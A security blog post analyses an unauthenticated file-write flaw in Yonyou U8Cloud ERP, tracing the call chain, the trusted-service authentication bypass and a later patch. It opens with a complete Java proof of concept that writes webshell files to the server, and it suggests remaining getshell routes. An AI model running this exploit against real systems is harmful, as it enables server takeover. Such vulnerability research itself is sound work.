用友 U8Cloud IPFxxFileService 文件上传漏洞分析

exp3n5ive Lv2

挺久之前复现的 , 当时网上还没有公开的 POC 所以一直没发出来 . 现在网上也陆陆续续都有文章分析过了 , 所以一并发出来

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;
import java.io.InputStream;

import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import nc.bs.framework.common.InvocationInfo;
import nc.bs.framework.comn.NetObjectInputStream;
import nc.bs.framework.comn.NetObjectOutputStream;
import nc.bs.framework.comn.Result;

public class App {
public static void main(String[] args) {
try {
if (args.length < 3) {
System.out.println("Usage: java -jar U8Cloud_LT_20250917Patch_GetShell.jar <URL> <content> <filename>");
System.out.println("Example: java -jar U8Cloud_LT_20250917Patch_GetShell.jar http://192.168.131.130:8088 \"hello\" abcd.txt");
return;
}
String urlString = args[0];
String content = args[1];
String filename = args[2];
URL url = new URL(urlString + "/ServiceDispatcherServlet");
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("POST");
conn.setDoInput(true);
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-java-serialized-object");
conn.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0");
conn.setRequestProperty("Accept", "*/*");
conn.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
conn.setRequestProperty("Accept-Encoding", "gzip, deflate");
conn.setRequestProperty("X-Requested-With", "XMLHttpRequest");
conn.setRequestProperty("Connection", "keep-alive");
conn.setRequestProperty("Cookie", "flexsid=YzQ2MTZiZDgtYjkxNi00NjlmLTg3OGEtNzAwMTc2NWZkYTkw");
conn.setRequestProperty("Priority", "u=0");
byte[] filedata = content.getBytes("UTF-8");
String patch = "webapps/u8c_web/" + filename;
List<String> serviceNames = Arrays.asList(new String[] { "nc.itf.uap.pfxx.IPFxxFileService" });
List<List<String>> methodNames = new ArrayList<>();
methodNames.add(Arrays.asList(new String[] { "writeDocToXMLFile" }));
List<List<Class<?>[]>> paramsClass = new ArrayList<>();
List<Class<?>[]> innerParamsClass = (List)new ArrayList<>();
innerParamsClass.add(new Class[] { byte[].class, String.class });
paramsClass.add(innerParamsClass);
List<List<Object[]>> params = new ArrayList<>();
List<Object[]> innerParams = new ArrayList();
innerParams.add(new Object[] { filedata, patch });
params.add(innerParams);
List<Map<?, ?>> assinfo = new ArrayList<>();
assinfo.add(new HashMap<>());
InvocationInfo info = new InvocationInfo("", "nc.bs.framework.core.service.IHRMultiServicesInvorker", "multiStrServicesInvorker", new Class[] { List.class, List.class, List.class, List.class, List.class }, new Object[] { serviceNames, methodNames, paramsClass, params, assinfo });
NetObjectOutputStream.writeObject(conn.getOutputStream(), info);
InputStream in = conn.getInputStream();
boolean[] flags = { false, false };
Result result = (Result)NetObjectInputStream.readObject(in, flags);
if (result.appexception != null) {
System.err.println("Attack Failed " + result.appexception.getMessage());
result.appexception.printStackTrace();
} else {
System.out.println("Attack Successful "+ urlString + "/" + filename);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

漏洞分析

文件写入分析

通过 POST 方法向 /ServiceDispatcherServlet 发送了一串序列化数据 , 在 U8CERP\framework\codegen.jar!\template\std21\web.vm 中 , 我们能找到该路由对应的 Servlet :

这个类位于 U8CERP\external\lib\fw.jar!nc.bs.framework.comn.serv.CommonServletDispatcher

在它的 doGet 方法中调用了 serviceHandler 的 execCall 方法进行处理 :

跟进 , 进入 U8CERP\external\lib\fw.jar!nc.bs.framework.comn.serv.ServiceDispatcher#execCall

关键的点就在这行代码 :

1
2
3
4
5
6
7
result.result = this.invokeBeanMethod(
invInfo.getModule(),
invInfo.getServiceName(),
invInfo.getMethodName(),
invInfo.getParametertypes(),
invInfo.getParameters()
);

根据 POC 中的 :

我们知道 , 这里调用的就是 nc.bs.framework.core.service.IHRMultiServicesInvorkermultiStrServicesInvorker

该接口定义在 U8CERP\modules\uap\lib\pubmobile.jar!nc.bs.framework.core.service.IHRMultiServicesInvorker:

1
2
3
4
5
6
7
8
9
10
package nc.bs.framework.core.service;

import java.util.List;
import java.util.Map;

public interface IHRMultiServicesInvorker {
String multiStrServicesInvorker(List<String> list, List<List<String>> list2, List<List<Class[]>> list3, List<List<Object[]>> list4, List<Map> list5) throws Exception;

List multiListServicesInvorker(List<String> list, List<List<String>> list2, List<List<Class[]>> list3, List<List<Object[]>> list4, List<Map> list5) throws Exception;
}

这个接口的实现类位于 U8CERP\modules\uap\META-INF\lib\mobile.jar!nc.bs.framework.core.service.HRMultiServicesInvorkerImpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package nc.bs.framework.core.service;

import com.alibaba.fastjson.JSON;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import nc.bs.framework.common.NCLocator;
import nc.bs.logging.Logger;

public class HRMultiServicesInvorkerImpl implements IHRMultiServicesInvorker {
public String multiStrServicesInvorker(List<String> servicenames, List<List<String>> methodnames, List<List<Class[]>> paramsClass, List<List<Object[]>> params, List<Map> assinfo) throws Exception {
new ArrayList();
int len = servicenames.size();
String resultjson = null;
for (int i = 0; i < len; i++) {
Object serviceObject = NCLocator.getInstance().lookup(servicenames.get(i));
List smname = methodnames.get(i);
int mlen = smname.size();
for (int j = 0; j < mlen; j++) {
Method sm = serviceObject.getClass().getMethod(smname.get(j), paramsClass.get(i).get(j));
sm.setAccessible(true);
Object o = sm.invoke(serviceObject, params.get(i).get(j));
resultjson = JSON.toJSONString(o);
}
}
return resultjson;
}

public List multiListServicesInvorker(List<String> servicenames, List<List<String>> methodnames, List<List<Class[]>> paramsClass, List<List<Object[]>> params, List<Map> assinfo) throws Exception {
Logger.error("-------------调用接口--------------------");
List resultListMap = new ArrayList();
int len = servicenames.size();
for (int i = 0; i < len; i++) {
Object serviceObject = NCLocator.getInstance().lookup(servicenames.get(i));
List smname = methodnames.get(i);
int mlen = smname.size();
for (int j = 0; j < mlen; j++) {
Method sm = serviceObject.getClass().getMethod(smname.get(j), paramsClass.get(i).get(j));
sm.setAccessible(true);
Object obj = sm.invoke(serviceObject, params.get(i).get(j));
if (obj instanceof List) {
resultListMap = (List) obj;
} else {
resultListMap.add(obj);
}
}
}
return resultListMap;
}
}

这个方法接收服务名称 , 方法名称 , 参数类型 , 具体参数等等 , 然后通过反射去调用具体服务类的方法

通过 POC 能看到它调用的是 nc.itf.uap.pfxx.IPFxxFileServicewriteDocToXMLFile方法

该接口位于 U8CERP\modules\uapeai\lib\pubuapeaipfxx.jar!nc.itf.uap.pfxx.IPFxxFileService#writeDocToXMLFile

实现类位于 U8CERP\modules\uapeai\lib\pubuapeaipfxx.jar!nc.bs.pfxx.pub.PFxxFileServiceImpl#writeDocToXMLFile

1
2
3
4
5
6
7
8
public File writeDocToXMLFile(byte[] filedata, String filename) throws BusinessException {
try {
return FileUtils.writeBytesToFile(filedata, filename);
} catch (Exception e) {
Logger.error("Writing File error!", e);
throw new BusinessException("Writing File error!");
}
}

跟进 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class FileUtils {
public static File writeBytesToFile(byte[] filedata, String filename) throws IOException {
File file = new File(filename);
File pFile = file.getParentFile();
if (!pFile.exists()) {
pFile.mkdirs();
}

Debug.debug(NCLangResOnserver.getInstance().getStrByID("uffactory_hyeaa", "UPPuffactory_hyeaa-000521", (String)null, new String[]{file.getAbsolutePath()}));
FileOutputStream outStream = new FileOutputStream(file);
outStream.write(filedata);
outStream.close();
Debug.debug(NCLangResOnserver.getInstance().getStrByID("uffactory_hyeaa", "UPPuffactory_hyeaa-000522", (String)null, new String[]{file.getAbsolutePath()}));
return file;
}
......
}

传入文件内容以及文件路径即可进行写入

至此 , 文件写入的流程就分析完毕了 :

1
2
3
4
5
nc.bs.framework.comn.serv.CommonServletDispatcher#doGet
nc.bs.framework.comn.serv.ServiceDispatcher#execCall
nc.bs.framework.core.service.HRMultiServicesInvorkerImpl#multiStrServicesInvorker
nc.bs.pfxx.pub.PFxxFileServiceImpl#writeDocToXMLFile
nc.vo.pfxx.util.FileUtils#writeBytesToFile

下面看看为什么可以未授权

未授权分析

这个未授权漏洞是打了含有漏洞的补丁之后才有的 , 在打该补丁之前我们运行 POC 会返回无效 token :

顺着堆栈我们可以找到问题出在 nc.bs.framework.comn.serv.ServiceDispatcher#execCall :

这里是验证 Token 的 , 估计就是这里鉴权出了问题 , 对比一下打补丁前后的代码

先看打补丁前 ( 右边 ) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void vertifyToken(String token, String service, String clientIP) {
if (ServerConfiguration.getServerConfiguration().isSingle() || !ServerConfiguration.getServerConfiguration().isMaster()) {
if (!this.isTrustService(service)) {
if (!this.isTustIP(clientIP)) {
this.vertifyTokenIllegal(token, service);
}
}
}
}

private void vertifyTokenIllegal(String token, String service) {
if (StringUtil.isEmptyWithTrim(token)) {
throw new BusinessRuntimeException("invalid orginal token(null), please login!" + service);
} else {
String userCode = InvocationInfoProxy.getInstance().getUserCode();
String curToken = this.genToken(userCode);
if (!curToken.equalsIgnoreCase(token)) {
throw new BusinessRuntimeException("token error!, please login!" + service);
}
}
}

根据报错的堆栈 , 可以知道是因为我们的 token 为空导致抛出异常

再看有漏洞的版本 ( 左边 ) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public void vertifyToken(String token, String service, String clientIP) throws NoSuchAlgorithmException {
if ((!ServerConfiguration.getServerConfiguration().isSingle() && ServerConfiguration.getServerConfiguration().isMaster()) || isTrustService(service) || isTustIP(clientIP)) {
return;
}
vertifyTokenIllegal(token, service);
}

private void vertifyTokenIllegal(String token, String service) throws NoSuchAlgorithmException {
if (StringUtil.isEmptyWithTrim(token)) {
throw new BusinessRuntimeException("invalid orginal token(null), please login!" + service);
}
String userCode = InvocationInfoProxy.getInstance().getUserCode();
String curToken = genToken(userCode);
if (!curToken.equalsIgnoreCase(token)) {
throw new BusinessRuntimeException("token error!, please login!" + service);
}
}

由于我们的 token 是空的 , 并且还没被检测出来

所以说明我们肯定没有走到 vertifyTokenIllegal 方法 , 那么一定是 vertifyToken 方法中的判断被我们满足了

首先第一个 !ServerConfiguration.getServerConfiguration().isSingle() && ServerConfiguration.getServerConfiguration().isMaster() 肯定不满足 , 因为我本地只有一台机器

第三个肯定也不满足 , 两个版本的 U8CERP\ierp\bin\token\trustIPList.conf 文件都是空的

那么只能是第二个条件了 , 对比两个版本的 U8CERP\ierp\bin\token\trustServiceList.conf 文件 :

发现 IHRMultiServicesInvorker 服务被设为信任服务了 , 所以导致了未授权漏洞

补丁分析

下载最新补丁 , 可以看到里面对 FileUtils 进行了替换 :

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<installpatch>
<copy>
<from>/replacement/modules/</from>
<to>/modules/</to>
</copy>
</installpatch>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
│  installpatch.xml
│ packmetadata.xml
│ readme.txt

└─replacement
└─modules
└─uapeai
└─classes
└─nc
└─vo
└─pfxx
└─util
FileUtils$1.class
FileUtils.class

对比一下看看改了什么东西 :

可以看到新版添加了一个判断 :

只有新建的文件的规范路径以项目家目录下的 webapps/u8c_web/ 开头才能成功写入

但是没有限制向别的目录写文件 , 应该还是能做到写公钥 , 定时任务来 getshell 的

而且也没有限制 jsp 等后缀 , 感觉也可以通过某个方法进行文件复制来 rce

并且未授权也没有修复 : 打了最新补丁后 , IHRMultiServicesInvorker 依旧在信任服务里 , 可能是业务需求吧

详细调用流程

首先进入 doGet 方法 , 里面会进行一些日志的记录等等 , 然后调用 this.serviceHandler.execCall(request, response)

跟进 , 进入 U8CERP\external\lib\fw.jar!nc.bs.framework.comn.serv.ServiceDispatcher#execCall

这里对请求中的序列化数据进行了反序列化

然后从请求中取值 , 放进反序列化的对象中 , 不过这些参数没什么用 , 不用管

然后根据对象中存储的一些字段信息 , 去调用指定服务类的指定方法 :

( 验证 Token 的部分前面已经详细说过了 , 这里就不赘述了 )

然后跟进 nc.bs.framework.comn.serv.ServiceDispatcher#invokeBeanMethod

这里有个小坑点 , 我们 poc 传的 module 是空字符串 :

所以在找类的时候 325 行的这个判断其实是不满足的 :

如果是静态分析的话可能一个不注意可能就跟错地方了 , 不过后面测试了一下 , 传一个 null 也是可以成功的

接下来我们跟一下看看它是怎么获取 Context 并调用类的

首先进入 else 分支 :

这里调用 nc.bs.framework.server.ModuleNCLocator#lookup , 跟进 :

可以看到它又调用了另一个 context 的 lookup 方法

跟进 nc.bs.framework.server.BusinessAppServer#getContext 看看是哪个 Context

这里就不好跟了 , 经过动态调试会发现走到了 nc.bs.framework.server.AbstractContext#lookup

如果 module 传 null 的话 , 调用过程如下 :

可以看到最终都走向了同一个方法 , 现在分析 AbstractContext#lookup :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
/**
* 根据组件名称查找并返回对应的组件实例。
* <p>
* 该方法首先尝试从本地缓存中获取组件,如果未找到,则通过 JNDI 查找或根据元数据动态创建组件。
* 支持 EJB 组件、UserTransaction 以及业务对象(BO)等类型的组件查找。
* 对于需要事务支持的组件,会进行代理封装以支持事务处理。
* </p>
*
* @param name 组件名称,我们传的是 nc.bs.framework.core.service.IHRMultiServicesInvorker
* @return 查找到的组件实例
* @throws ComponentException 如果在查找过程中发生错误,例如组件未找到或不支持
*/
public Object lookup(String name) throws ComponentException {
// 非空判断
if (name == null) {
throw new ComponentNotFoundException(
"component name is null when lookup"
);
} else {
Object retObject = null;
// 先尝试从服务缓存中获取组件 我们默认没有
retObject = this.getServiceCache().get(name);

if (retObject == null) {
JndiContext jndiCtx = this.getJNDIContext();

// 处理 java:comp/env/ 开头的 JNDI 名称 我们肯定不满足
if (name.startsWith("java:comp/env/")) {
retObject = jndiCtx.lookup(name);

if (EJBUtil.isHome(retObject)) {
retObject = this.serviceFromEJBHome(
name, retObject, (ComponentMeta) null
);
this.getServiceCache().put(name, retObject);
}
}
// 特殊处理 UserTransaction 组件 这里也不满足不用看
else if (name.equals("javax.transaction.UserTransaction")) {
retObject = this.getUserTransaction();
}

// 如果仍未找到组件
if (retObject == null) {
// 检查是否支持 BO 类型组件 这里第二个条件不满足不用看
if (!this.supportBO() && name.endsWith("BO")) {
throw new ComponentNotFoundException(
String.format(
"The BO(3.x) is not supported, please rewrite the component %s",
name
)
);
}

ComponentMeta meta = null;
try {
// 尝试查找组件元数据
meta = this.findMeta(name);
} catch (ComponentNotFoundException var10) {
this.getLogger().warn(
String.format(
"The component(meta): %s is not found in %s %s",
name, "ESA",
" try to search it from jndi."
)
);
}

String originalName = name;

// 若元数据中的名称与当前名称不同,则使用元数据中的名称重新查找缓存
if (meta != null && !name.equals(meta.getName())) {
name = meta.getName();
retObject = this.getServiceCache().get(name);
}

// 如果仍然未找到组件
if (retObject == null) {
boolean needTx = false;
String jndiName = name;

// 判断是否需要事务支持,并获取 JNDI 名称
if (meta != null) {
needTx = meta.getTxAttribute() != null
&& TxAttribute.NONE != meta.getTxAttribute();
jndiName = meta.getEjbName();
}

// 如果没有元数据或需要事务支持,并且不是黑名单服务
if ((meta == null || needTx) && !this.isBlackService(name)) {
try {
// 通过 JNDI 查找组件
retObject = this.jndi(jndiName);
} catch (Throwable var9) {
}

// 如果查找到的是 EJB Home,则从中获取服务实例
if (EJBUtil.isHome(retObject)) {
retObject = this.serviceFromEJBHome(
name, retObject, meta
);
}
// 如果需要事务支持并且查找到组件,则创建事务代理
else if (needTx && retObject != null) {
retObject = Proxy.newProxyInstance(
retObject.getClass().getClassLoader(),
ClassUtil.getInterfaces(
retObject.getClass(),
ServerConstants.excludes
),
new EJB3ServiceHandler(name, retObject)
);
}

// 缓存查找到的组件
if (retObject != null) {
this.getServiceCache().put(name, retObject);

if (originalName != name) {
this.getServiceCache().put(
originalName, retObject
);
}
}
// 如果是生产模式并且未找到组件,则标记为黑名单
else if (this.isProductMode()) {
this.markServiceBlack(name);

if (originalName != name) {
this.markServiceBlack(originalName);
}
}
}

// 再次检查是否找到组件
if (retObject == null) {
// 如果是生产模式并且需要事务支持但未找到组件,则抛出异常
if (this.isProductMode() && needTx) {
throw new ComponentNotFoundException(
name,
String.format(
"The tx component: %s is not found in %s %s}",
name, "jndi",
" please deploy it!"
) + " jndiName: " + jndiName
);
}

// 如果没有元数据,则抛出组件未找到异常
if (meta == null) {
throw new ComponentNotFoundException(
name,
"Can not find component(both in jndi and ESA)"
);
}

// 查找并创建组件实例
retObject = this.findComponent(meta);

// 如果需要事务支持并且不在 JAVAEE 环境中,则动态创建 BService
if (needTx && !this.outJAVAEE()) {
return this.dynamicBService(meta, retObject);
}
}
}
}
}
return retObject;
}
}

我们跟进 meta = this.findMeta(name); 到 nc.bs.framework.server.AbstractContainer#getMeta

1
2
3
4
5
6
7
8
// 参数为 nc.bs.framework.core.service.IHRMultiServicesInvorker
public ComponentMeta getMeta(String name) throws ComponentException {
ComponentMeta meta = this.publicRepo.getComponentMeta(name);
if (meta == null) {
meta = (ComponentMeta)super.getMeta(name);
}
return meta;
}

动态调试可以知道这里在第三行就拿到了 , 然后返回元数据

最终经过一系列判断 , 返回了该服务对象 , 最终导致了反射调用恶意方法写 webshell

  • Title: 用友 U8Cloud IPFxxFileService 文件上传漏洞分析
  • Author: exp3n5ive
  • Created at : 2025-10-26 11:24:24
  • Updated at : 2025-10-26 11:26:31
  • Link: https://exp3n5ive.github.io/2025/10/26/用友 U8Cloud IPFxxFileService 文件上传漏洞分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
用友 U8Cloud IPFxxFileService 文件上传漏洞分析